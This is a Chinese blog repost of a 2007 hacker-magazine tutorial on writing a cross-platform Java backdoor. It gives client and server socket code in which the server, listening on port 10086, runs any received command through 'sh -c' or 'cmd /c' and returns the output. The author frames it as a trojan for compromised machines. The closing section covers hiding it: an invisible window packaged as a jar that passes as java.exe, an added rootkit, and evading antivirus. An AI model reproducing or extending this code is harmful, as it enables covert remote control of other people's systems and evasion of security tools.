利用Java写自己的专属后门[已发表于《黑客防线》07年12月期]

用Java写黑软-后门篇
海啸天鸣(Ansty) [华南农业大学]

这次我给大家带来的是《用Java写黑软-后门篇》,目前我在网上还没有找到哪位高手把自己写的java后门公布出来,有的也多是些恶搞的东西,所以这次我就来献献丑了。
先来一段理论的东西,后门,其实说到底就是一种C/S或者B/S模式的程序或软件,所谓C/S,C就是指Client(客户端),S就是指Server(服务端),服务端运行在服务器上面,等待专门的客户端的连接。譬如灰鸽子之类的黑软,生成在肉鸡上面运行的就是服务端,控制端就是客户端了。服务端在客户端连接上的时候,响应客户端发送给服务端的指令,并将结果回送给客户端,这些回送的结果可以是文字、图象或录像等。所谓B/S,B就是指Browser(浏览器),客户可以通过浏览器直接访问,移植性好,S就是服务端了,上面介绍过了,就不说了,VNC就是这类远程控制的代表。
Java凭借着其优良的跨平台性普及得非常迅速,基本上现在主流发行版的linux都已经集成了jdk,随着Java的迅猛发展,Windows受其影响,越来越多的用户安装jre。而这样,就为我们使用Java写跨平台后门,甚至是跨平台病毒提供了环境。
转入正题,我们这次写的C/S模式的后门。
客户端:
下面是客户端的界面(图1):


图1
界面的制作不是我们介绍的重点,我就直接用console的了,我们的后门涉及到socket,所以我们开始要引入java.net.*
连接服务端:connectServer()

Copy code
Socket(InetAddress address, int port)创建一个流套接字并将其连接到指定 IP 地址的指定端口号。
client
= new Socket(ip,port);//先连接到服务端,ip、port对应服务端地址和端口,如果连接不上主机都会抛出异常。如果成功连接上服务端,我们就可以开始发送数据了,然后让服务端进行处理。


发送客户端命令:exec()

Copy code
PrintWriter out = new PrintWriter(client.getOutputStream(),true);    //客户端发送数据到服务端变量
BufferedReader in = new BufferedReader(new InputStreamReader(client.getInputStream())); //得到服务端发送给客户端的数据变量,用来储存返回的数据
客户端处理退出指令代码:
if(line_user.equals("exit")){ //假如用户输入exit命令,
out.println(line_user); //向服务端发送退出命令
client
.close(); //关闭客户端的socket连接
out.close(); //关闭数据发送流
in.close(); //关闭接受数据流
disconnect
(); //关闭连接并初始化窗口
}



处理除exit指令外其他指令的代码

Copy code
out.println(line_user);        //发送客户指令到服务端,line_user为客户指令
line_server
= in.readLine(); //获得服务端返回数据,也就是结果
为了避免我们的结果窗口太混乱,每次打印结果前都先清空窗口内容
jtaResult
.setText("");
//循环打印结果,
while(line_server.equals("null")==false){ //判断读到的是不是null字符串,注意,一定是字符串,而不是null类型,因为到我们结果的最后一行发过来的是“null”
jtaResult
.append("recieve:"+line_server+"/n"); //打印结果
line_server
= in.readLine(); //因为in是BufferedReader类型,要用in.readLine()来逐行读取内容
}
jtaResult
.append("over");
out.close();
in.close();


服务端:
因为这只是一个Java木马雏形,而且也为了方便我们调试和观察结果,所以我没有做木马的隐蔽之类的工作。
关键变量声明:
ServerSocket server = null; // 服务端变量,因为ServerSocket能在本地指定端口进行监听
原型:ServerSocket(int port) 创建绑定到特定端口的服务器套接字。
Socket client = null; // 客户端变量,配合ServerSocket来实现响应客户端的连接

类构造方法

Copy code
public Server() {
port
= 10086; //默认我们用10086端口,尽量用后面的端口,因为前面的有很多端口可能被占用了。
init
(); //调用初始化服务端方法
}

// 可定制端口的构造方法,提供自己定制端口
public Server(int port) {
this.port = port;
init
();
}

初始化服务端:init()
try {
server
= new ServerSocket(port); // 新建服务端,在port端口监听连接
System.out.println("正在" + port + "端口等待连接");
} catch (IOException e) {
e
.printStackTrace();
System.out.println("无法在端口:" + port + "建立监听"); //可能是端口被占用,或者权限不够
}

try {
client
= server.accept(); // 得到客户端的连接,accepte()方法可以获得来自客户端的连接
System.out.println(client.getInetAddress() + "正在连接");
} catch (IOException e) {
e
.printStackTrace();
}

client
.getOutputStream() //用来获得发送给客户端的数据,也就是我们返回给客户端的结果
client
.getInputStream() //得到从客户端发送过来的命令


因为我们从客户端发送给服务端的命令一次只有一行,所以我们只需要用一次in.readLine(),把命令读进来。
因为就算客户端不发送命令给服务端,in.readline()也不会为空,所以我们可以用in.readLine()!=null来做一个类似消息相应的循环,相应客户端发过来的每一条指令。

Copy code
if(line.equals("exit")){    //这个就是用来相应exit命令的,用来跳出当前连接
System.out.println("客户断开连接");
break;
}



指令执行:
方法原型:
Process Runtime.exec(String command) 在单独的进程中执行指定的字符串命令
如果我们要执行系统命令就需要调用Runtime.exec(String command)方法,它返回的是Process,Process这个类它提供了一个getInputStream()方法,可以让我们得到命令执行返回的结果,这就为我们返回执行完客户端命令后将结果返回提供了条件。

Copy code
if(new SystemInfo().getOSName().equals("Linux")){
p
= Runtime.getRuntime().exec("sh -c "+line);
}else if(new SystemInfo().getOSName().substring(0,7).equals("Windows")){
if(line.endsWith(":")) //主要用于dir根目录的命令,是不是以/结尾
line
=line+"//"; //加上/
p
= Runtime.getRuntime().exec("cmd /c "+line);
}


上面是命令执行的具体实现,因为我们为了实现跨平台,所以我们区分出服务端正在运行在哪个平台。我这里只列举了Linux和Windows平台,其他平台因为我还没有研究过,所以就不写了。
SystemInfo这个类是我自己新建的,等下会介绍。我们只用到这个类里面的getOSName()方法来获得当前操作系统版本。Linux内核它都返回“Linux”,Windows系列的操作系统返回的就不同了,不过它的前面都会包括“Windows”,所以我们只需要比较“Windows”就可以了。
大家应该知道,Linux下调用终端执行命令前面是要加上“sh –c”才能正常执行,否则有些命令是执行不了的,Windows同样,不过前面是加上“cmd /d”。到了这了,我们就已经实现我们跨平台后门的雏形了,因为只要我们这个后门运行在管理员权下,它就具有管理员权限了。
SystemInfo类:
这个类我们只是用来获得系统版本,通过Properties来获得系统信息。
Properties原型:
Properties(Properties defaults) 创建一个带有指定默认值的空属性列表。
但是Properties有需要System.getProperties()来获得,然后Properties(System.getProperties())就能得到系统信息了。
得到的Properties里面有很多信息,我们可以利用Properties().list(System.out)来打印全部获得的信息。但是我们只关心其中操作系统的版本,就要用到getProperty(指定属性值),通过Properties().list()我们可以知道所有的属性值,操作系统的属性值就是os.name。

Copy code
public SystemInfo(){
Properties prop = new Properties(System.getProperties());
osName
=prop.getProperty("os.name");
}


下面简单分享下个人隐藏服务端的一些思路。Java程序执行的时候都需要到命令行下执行“java 文件名”,然后就不能把那个命令行窗口关掉。这样直接放到服务器上运行不被发现才怪,我们可以将服务端做进一个JFrame里面,然后将JFrame的visiable设置成false,然后打包成jar文件,就可以实现窗口的隐藏了,如果在任务管理器中将服务端给隐藏了,那在进程管理器中只会出现java.exe进程,一般来说特别具有迷惑性,还以为是sun的java.exe,其实是java.exe运行了我们的服务端。或者我们再另外加个rootkit,将服务端有关的信息全部隐藏了。
好了,说到这里,我们的Java跨平台后门算是真正产生了,虽然这只是一个雏形,没有象灰鸽子一样丰富的功能,但是那些都是迟早的事情,留给各位添加了。而且现在杀毒软件都把目光放在.exe等可执行文件上面,还没有把毒手伸向java,只要大家利用在本文的基础上发展下Java的后门,就算你放在杀毒软件面前说你是木马,它也没奈你何,实话说我这个严格来说这能说是一种C/S模式的远程执行软件而已

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值